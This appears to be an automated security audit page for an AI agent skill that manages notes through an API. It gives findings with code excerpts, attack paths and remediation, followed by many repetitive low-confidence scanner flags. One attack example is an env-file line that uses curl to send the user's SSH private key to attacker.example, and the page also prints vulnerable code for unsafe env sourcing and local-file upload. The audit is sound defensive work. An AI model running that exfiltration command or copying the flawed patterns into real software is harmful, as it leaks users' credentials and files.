Back to skill

Security audit

锤子便签 API

Security checks for vulnerabilities and agentic risk

Overview

The skill matches its stated notes-management purpose, but it needs Review because its export path can run commands from an env file, upload broadly referenced local files, and send reusable credentials over plain HTTP.

Install only if you trust the skill publisher, the Notes server, and every Markdown/env file you process. Prefer HTTPS for any non-local server, avoid untrusted .env files with export_note.sh, and review Markdown image references before export because they can cause local files to be uploaded.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/export_note.sh:32
Finding
Arbitrary Shell Command Execution Through Environment File Loading<![CDATA[ ## Vulnerability Details **File Location**: `scripts/export_note.sh:32-41` **Vulnerability Type**: Unsafe evaluation of configuration data **Risk Level**: High ### Vulnerable Code ```bash load_env_file() { local env_file="$1" if [[ ! -f "$env_file" ]]; then echo "配置文件不存在:$env_file" >&2 exit 1 fi set -a # shellcheck disable=SC1090 source "$env_file" set +a } ``` ### Technical Analysis The `--env-file` option is documented as accepting a configuration file, but `load_env_file` evaluates the supplied file with the Bash `source` command. An environment file is therefore treated as executable shell code rather than parsed as data. A sourced file can contain command substitutions, shell functions, redirections, pipelines, or arbitrary commands. These commands execute with the same operating-system identity and privileges as the Agent invoking `export_note.sh`. This behavior is unnecessary for the declared functionality. The export workflow only needs to read `NOTES_API_BASE_URL`; it does not require general shell evaluation. ### Attack Path 1. An attacker creates or modifies a file represented as a Notes API environment configuration. 2. The file contains an apparently valid assignment and an embedded command, for example: ```bash NOTES_API_BASE_URL=https://notes.example.com curl -X POST --data-binary @/home/user/.ssh/id_rsa https://attacker.example/upload ``` 3. The user or Agent runs: ```bash scripts/export_note.sh --env-file /path/to/untrusted.env \ --markdown "Example" \ --output /tmp/note.png ``` 4. `load_env_file` invokes `source "$env_file"`. 5. Bash executes the embedded command before the note export proceeds. ### Impact Assessment Successful exploitation provides arbitrary command execution under the invoking user's account. Depending on that account's permissions, an attacker could: - Read and exfiltrate credentials, API tokens, SSH keys, and private documents. - Modify or de ...[truncated 383 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Do not use `source`, `.`, `eval`, or shell expansion to load configuration files. - Parse the file as inert text and allowlist only the required `NOTES_API_BASE_URL` key. - Reject malformed lines, duplicate keys, unsupported variables, command substitutions, and shell metacharacters. - Prefer a small parser implemented in Node.js or Python that reads literal `KEY=VALUE` records without evaluating them. - Apply strict URL validation after parsing, including an allowlist of `http:` and `https:` schemes. - Keep command-line arguments higher priority than configuration values without evaluating either source. - Add a regression test using an env file containing `$(...)`, backticks, and standalone shell commands, and verify that none are executed. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/export_note.sh:132
Finding
Unrestricted Local File Disclosure Through Markdown Image Uploads<![CDATA[ ## Vulnerability Details **File Location**: `scripts/export_note.sh:132-216` **Vulnerability Type**: Arbitrary local file read and network exfiltration **Risk Level**: High ### Vulnerable Code ```python def resolve_local_path(reference: str) -> str: trimmed = reference.strip() if trimmed.lower().startswith("file://"): parsed = urllib.parse.urlparse(trimmed) return os.path.abspath(urllib.request.url2pathname(parsed.path)) expanded = os.path.expanduser(trimmed) if os.path.isabs(expanded): return expanded return os.path.abspath(os.path.join(markdown_dir, expanded)) def upload_image(file_path: str) -> str: filename = os.path.basename(file_path) mime_type = mimetypes.guess_type(filename)[0] or "application/octet-stream" with open(file_path, "rb") as handle: payload = handle.read() boundary = f"----notes-export-{uuid.uuid4().hex}" body = b"".join( [ f"--{boundary}\r\n".encode("utf-8"), f'Content-Disposition: form-data; name="image"; filename="{filename}"\r\n'.encode("utf-8"), f"Content-Type: {mime_type}\r\n\r\n".encode("utf-8"), payload, f"\r\n--{boundary}--\r\n".encode("utf-8"), ] ) request = urllib.request.Request(image_import_endpoint, data=body, method="POST") request.add_header("Accept", "application/json") request.add_header("Content-Type", f"multipart/form-data; boundary={boundary}") try: with urllib.request.urlopen(request) as response: charset = response.headers.get_content_charset() or "utf-8" payload_text = response.read().decode(charset) except urllib.error.HTTPError as error: payload_text = error.read().decode("utf-8", errors="replace") try: data = json.loads(payload_text) except json.JSONDecodeError: data = None message = data.get("error") if isinstance(data, dict) else Non ...[truncated 4038 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Restrict image references to the Markdown file's directory or a separately declared asset root. - Canonicalize both the allowed root and target with `realpath` or `Path.resolve()`, then verify that the target remains under the allowed root. - Perform the boundary check after resolving symbolic links to prevent symlink escapes. - Reject absolute paths, `file://` URLs, home-relative paths, and references containing traversal outside the allowed root by default. - Require an explicit opt-in flag and user confirmation before accessing files outside the document's asset directory. - Allowlist supported image formats and validate file signatures rather than relying only on filename extensions or MIME guessing. - Apply a reasonable maximum file size before loading the file into memory or uploading it. - Present the resolved list of local files to the caller before transmission when Markdown is not fully trusted. - Add tests for absolute paths, `file://` references, `../` traversal, symlink escapes, non-image files, and oversized files. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/notes_api.mjs:152
Finding
Reusable Credentials Can Be Transmitted Over Plaintext HTTP<![CDATA[ ## Vulnerability Details **File Location**: `scripts/notes_api.mjs:152-206` **Vulnerability Type**: Cleartext transmission of sensitive authentication data **Risk Level**: Medium ### Vulnerable Code ```javascript function normalizeBaseUrl(value) { const url = new URL(value); url.hash = ""; url.search = ""; url.pathname = url.pathname.replace(/\/api(?:\/.*)?$/, "").replace(/\/+$/, ""); return url.toString().replace(/\/$/, ""); } ``` ```javascript async function login(config) { const response = await fetch(`${config.baseUrl}/api/auth/login`, { method: "POST", headers: { Accept: "application/json", "Content-Type": "application/json", }, body: JSON.stringify({ password: config.password, remember: false, username: config.username, }), }); const payload = await readResponsePayload(response); if (!response.ok) { const message = payload && typeof payload === "object" && "error" in payload ? payload.error : `登录失败(HTTP ${response.status})`; throw new ApiError(String(message), response.status, payload); } const setCookie = response.headers.get("set-cookie"); if (!setCookie) { throw new Error("登录成功但服务端未返回会话 Cookie。"); } return { cookie: setCookie.split(";")[0], user: payload.user, }; } ``` The project documentation explicitly permits non-loopback HTTP service addresses, including: ```dotenv NOTES_API_BASE_URL=http://192.168.1.20:18080 ``` ### Technical Analysis `normalizeBaseUrl` accepts an HTTP URL without determining whether it refers to loopback or a remote host. `login` then sends the reusable username and password in a JSON request body to that URL. Plaintext HTTP does not provide transport confidentiality or server authentication. On a LAN or other non-loopback network, an on-path observer can inspect the credentials and subsequent note traffic. An active intermediary can also impersonate the Notes server or modify response ...[truncated 1542 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Require HTTPS whenever the configured host is not a loopback address. - Permit plaintext HTTP only for `localhost`, `127.0.0.0/8`, and `::1`, after correctly parsing the hostname. - If non-loopback HTTP must remain available for exceptional deployments, require an explicit option such as `--allow-insecure-http` and display a prominent warning. - Update all examples to use HTTPS for LAN hosts and self-hosted domains. - Validate that the URL scheme is exactly `https:` or an explicitly permitted loopback `http:` scheme. - Recommend valid TLS certificates and avoid disabling certificate verification. - Consider token-based authentication with revocable, narrowly scoped tokens instead of repeatedly transmitting a reusable account password. - Add tests confirming rejection of non-loopback HTTP URLs, including IPv4, IPv6, hostname, and encoded-address variants. ]]>
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (36)

Credential Access

High
Category
Privilege Escalation
Content
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
---
name: notes-export-api
description: 通过用户名或邮箱与密码连接调用方明确配置的锤子便签服务,管理当前账号的云端工作区并导出内容。支持便签列表与全文查询、新增、更新 Markdown、软删除、回收站恢复、显式永久删除、文件夹分类、星标、置顶、生成可粘贴到微信公众号的富文本 HTML,以及把 Markdown 或本地 .md 文件导出为带图的锤子便签长图 PNG;导出支持 default 暖白纸感、smartisan-dark 暗黑主题和自定义底部文案。用户提到锤子便签、用账号密码增删改查便签、便签查询或自动维护、分类、收藏、置顶、公众号复制格式、Markdown 转便签图片或批量长图导出时使用。服务地址没有默认值,调用方必须通过 .env 或命令行明确提供。
---

# 锤子便签 API
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
node scripts/notes_api.mjs list --env-file /abs/path/notes-api.env
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Credential Access

High
Category
Privilege Escalation
Content
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
required: true,
      })
    : {};
  const skillEnv = await readEnvFile(path.join(SKILL_DIR, ".env"));
  const getConfigValue = (key) =>
    firstNonEmpty(explicitEnv[key], process.env[key], skillEnv[key]);
  const configuredBaseUrl = firstNonEmpty(
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
scripts/notes_api.mjs:150